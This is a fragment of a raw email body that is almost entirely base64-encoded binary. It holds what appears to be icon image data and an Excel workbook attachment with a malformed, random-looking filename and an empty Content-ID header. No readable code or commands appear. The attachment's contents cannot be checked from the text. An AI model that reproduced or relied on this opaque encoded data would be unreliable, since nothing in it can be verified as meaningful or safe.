ZpnMAGbMmQBmZv8AzMxmAABm/wAzzDMAmWYzAGbM/wCZZmYA8MqmAICAAACGhoYAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeHh4eHh4eHh4eHh4eHh4e Hh4eHh4eHgwPHh4eHh4eHh4eHh4eHgwGFgweBAQeHh4eHh4eHh4GBgYSBAQEBB4eHh4eHh4S CwYGHAQEBAQYHh4eHh4aDwsLGREBAQIEDh4eHh4eDQkLCQgBAQECAg4eHh4eDRQbCRcIAQEB AgIVHh4eAwMDBwkIEQEBAQICAB4eAwMDAwcFCAEBAQECAAAQHgMDBwUFBQgBAgIKAAAAAAMH BwUDHh4eAQICCgAAAAAFBQMeHh4eHh4CAgoAAAAAHh4eHh4eHh4eHgIKAAAAEB4eHh4eHh4e Hh4eEwAAAB4eHh4eHh4eHh4eHh4eAB4e//8AAP5/AAD8JwAA/AMAAPgBAADwAQAA8AEAAOAB AADAAQAAgAAAAIAAAAAHAAAAH4AAAP/AAAD/4QAA//sAACgAAAAQAAAAIAAAAAEAIAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPz8/AP19fYL5+blHcrD vUjKw7tJ5uPhIfHx8RDq6Ocb6ujmHPj39wn+/v4BAAAAAAAAAAAAAAAAAAAAAP39/QL39/cJ 3eLaLIqnZKF7kEW+lZ2Gjruzq1uzvcFjmKKlja6nnW/SzMY++fn5BwAAAAAAAAAAAAAAAP7+ /gH7+/sF7PHtG5G9iaNMnyL+TI0A/26abL9+oaakWaDE1VKZveN4nquvr6mgbPTz8w4AAAAA AAAAAP7+/gH8/PwD+Pj4CLnbwnRmuXT1V7hS/1qiIv5Ro3nnK7TQ8hq85P8gs9X/M6XE8YOk qZnw8O8SAAAAAP7+/gH8+/wE9/f3Cefn4DeCu3XXWrA5/1+0N/+GkVD/V6Ct/xLG7v8IyvH/ DcLn/wq61/9GrLvL3+LhJgAAAAD8/PwD9vb2Curl4TLBuZS3aZ0b+0qiAP9pkgD/AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAD== --N05WFp22eT95988s781CLn651878CdVQ --N05WFp22eT95988s781CLn651878CdVQ Content-Type: application/octet-stream; name==us-asciiQgeohyd200205=.xls Content-Transfer-Encoding: base64 Content-ID: 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAATAAAAAAA AAAAEAAA/v///wAAAAD+////AAAAAEsAAAD///////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////8JCBAAAAYFAPIVzAfJAAAABgAAAOEAAgCwBMEA AgAAAOIAAABcAHAACAAASE9VREFZRVIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIEIAAgCwBGEBAgAAAD0BBAAEAAYAnAACAA4AGQACAAAAEgACAAAA EwACAAAArwECAAAAvAECAAAAPQASAPH/8f/CLtUMOAAAAAAAAQA+A0AAAgAAAI0AAgAAACIA AgAAAA4AAgABALcBAgAAANoAAgAAADEAGgDIAAAA/3+QAQAAAAAAAAUBQQByAGkAYQBsADEA GgDIAAAA/3+QAQAAAAAAAAUBQQByAGkAYQBsADEAGgDIAAAA/3+QAQAAAAAAAAUBQQByAGkA YQBsADEAGgDIAAAA/3+QAQAAAAAAAAUBQQByAGkAYQBsADEAGgDwAAEA/3+8AgAAAAIAAAUB QQByAGkAYQBsADEAGgDIAAEA/3+8AgAAAAIAAAUBQQByAGkAYQBsADEAGgC0AAEA/3+8AgAA AAIAAAUBQQByAGkAYQBsADEAGgDIAAAA/3+QAQAAAAIAAAUBQQByAGkAYQBsADEAGgDcAAUA /3+8AgAAAQIAAAUBQQByAGkAYQBsADEAGgDcAAEA/3+8AgAAAAIAAAUBQQByAGkAYQBsADEA GgDwAAAA/3+QAQAAAAIAAAUBQQByAGkAYQBsAB4EHAAFABcAACMsIyMwXCAiRiI7XC0jLCMj MFwgIkYiHgQhAAYAHAAAIywjIzBcICJGIjtbUmVkXVwtIywjIzBcICJGIh4EIgAHAB0AACMs IyMwLjAwXCAiRiI7XC0jLCMjMC4wMFwgIkYiHgQnAAgAIgAAIywjIzAuMDBcICJGIjtbUmVk XVwtIywjIzAuMDBcICJGIh4EOwAqADYAAF8tKiAjLCMjMFwgIkYiXy07XC0qICMsIyMwXCAi RiJfLTtfLSogIi0iXCAiRiJfLTtfLUBfLR4EOAApADMAAF8tKiAjLCMjMFwgX0ZfLTtcLSog IywjIzBcIF9GXy07Xy0qICItIlwgX0ZfLTtfLUBfLR4EQwAsAD4AAF8tKiAjLCMjMC4wMFwg IkYiXy07XC0qICMsIyMwLjAwXCAiRiJfLTtfLSogIi0iPz9cICJGIl8tO18tQF8tHgRAACsA OwAAXy0qICMsIyMwLjAwXCBfRl8tO1wtKiAjLCMjMC4wMFwgX0ZfLTtfLSogIi0iPz9cIF9G Xy07Xy1AXy0eBAsApAAGAAAwLkUrMDAeBBEApQAMAAAjLCMjMC4wMFwgX0YeBBwApgAXAAAj LCMjMC4wMF8gO1wtIywjIzAuMDBcIB4EHgCnABkAACMsIyMwLjAwMF8gO1wtIywjIzAuMDAw XCAeBBYAqAARAAAjLCMjMF8gO1wtIywjIzBcIB4EDgCpAAkAACMsIyMwXCBfRh4ECACqAAMA ADAuMB4EEgCrAA0AACMsIyMwLjAwXCAiRiIeBAkArAAEAABoOm1tHgQNAK0ACAAAbW1tbVwt eXngABQAAAAAAPX/IAAAAAAAAAAAAAAAwCDgABQAAQAAAPX/IAAA9AAAAAAAAAAAwCDgABQA AQAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAgAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAgAAAPX/ IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAA AAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAA wCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQA AAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/ IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAAEAIAAAAAAA AAAAAAAAwCDgABQAAQArAPX/IAAA+AAAAAAAAAAAwCDgABQAAQApAPX/IAAA+AAAAAAAAAAA wCDgABQAAQAsAPX/IAAA+AAAAAAAAAAAwCDgABQAAQAqAPX/IAAA+AAAAAAAAAAAwCDgABQA AQAJAPX/IAAA+AAAAAAAAAAAwCDgABQAAAAAAAEAIAAAIBERQCBAIAAAwCDgABQAAAAAAAEA EwAAUAAAAAAAAAAECSDgABQAAAAAAAEAIAAAQAAAAAAAAAAECSDgABQAAAAAAAEAIAAAUAAA AAAAAAAECSDgABQABgAAAAEAEwAAeBERQCBAIAAEKyDgABQABgAAAAEAEwAAfBERQCBAIAAE KyDgABQABgAAAAEAEgAAeBERQCBAIAAEKyDgABQABgAAAAEAGAAAeBERQCBAIAAEKyDgABQA AAARAAEAIAAABAAAAAAAAAAAwCDgABQACAAAAAEAEwAAXAAAAAAAAAAECSDgABQABQAAAAEA EwAAWAAAAAAAAAAECSDgABQAAAAAAAEAEwAAVAAAAAAAAAAECSDgABQACAAAAAEAIAAASAAA AAAAAAAECSDgABQABgAAAAEAIAAASAAAAAAAAAAECSDgABQAAAAAAAEAIwAAUAAAAAAAAAAE CSDgABQABQAAAAEAIwAAXAAAAAAAAAAECSDgABQABQAAAAEAIwAAHAAAAAAAAAAAwCDgABQA 